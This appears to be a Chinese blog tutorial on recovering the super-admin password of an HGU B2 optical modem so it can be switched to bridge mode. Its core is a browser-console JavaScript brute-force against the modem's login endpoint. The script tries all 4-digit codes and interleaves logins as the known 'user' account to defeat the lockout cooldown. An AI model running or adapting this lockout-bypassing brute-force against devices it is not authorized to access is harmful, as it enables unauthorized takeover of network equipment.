光猫默认的路由模式实测在100M宽带下只能跑到60M左右,只有改成桥接模式才能跑满,不损失性能。但是改桥接需要给运营商打电话,有的时候不想麻烦他们,这时获取超级密码进行更改就是一个不错的选择了
分析
受到HGU B1型家庭网关获取超管密码这篇文章的启发,发现这个型号的光猫在自动上报配置后会重设超管密码为一个4位数字的弱密码,我们很容易用穷举法得到它。这或许也是故意留下的后门,以免彻底丢失密码的光猫无法使用。而该篇文章提及的访问http://192.168.1.1/romfile.cfg
文件,在B2版本下已经被隐藏了,无法再获得密码。
获取步骤
光猫有一个user
账户,密码一般为12345678
,可以先尝试登陆看看是否正确,接下来要使用这个能够成功登录的账户绕过多次试错的冷却机制。
接下来访问后台192.168.1.1
,浏览器打开开发者模式,在控制台粘贴如下代码,注意其中var web_Password = '12345678'
要改成你的能成功登陆的user用户密码:
var issucc = 0;
for(i=0; i<10000 && !issucc; i++) {
var web_Username = 'useradmin';
var web_Password = (Array(4).join(0)+i).slice(-4);
var obj = new Object;
obj.web_login_name = web_Username;
obj.web_login_password = b64_md5(web_Password);
var cgipath = "/boaform/";
var nonedatav = Math.random();
sendRequest(cgipath+"web_login_exe", obj, function(data) {
if(data == "success_telecomadmin") {
alert(web_Password);
issucc = 1;
} else {
console.log(data+": "+web_Password);
}
});
var web_Username = 'user';
var web_Password = '12345678';
var obj = new Object;
obj.web_login_name = web_Username;
obj.web_login_password = b64_md5(web_Password);
var cgipath = "/boaform/";
var nonedatav = Math.random();
sendRequest(cgipath+"web_login_exe", obj, function(data) {
console.log("skip ban: "+data);
});
}
接下来等待穷举完成,即可通过useradmin账户登录了。
特别注意,改桥接时不要影响到IPTV的设置(即不要将IPTV设置为桥接),广电的IPTV可能因为组播以及路由问题,无法让电视盒子自己DHCP,只能由光猫获取IP,并配置了静态路由和DNS。
但是,这样一来IPTV机顶盒将无法上网,只能看电视,这是唯一一点遗憾。如果有更好的稳定方法,欢迎在评论区一起讨论。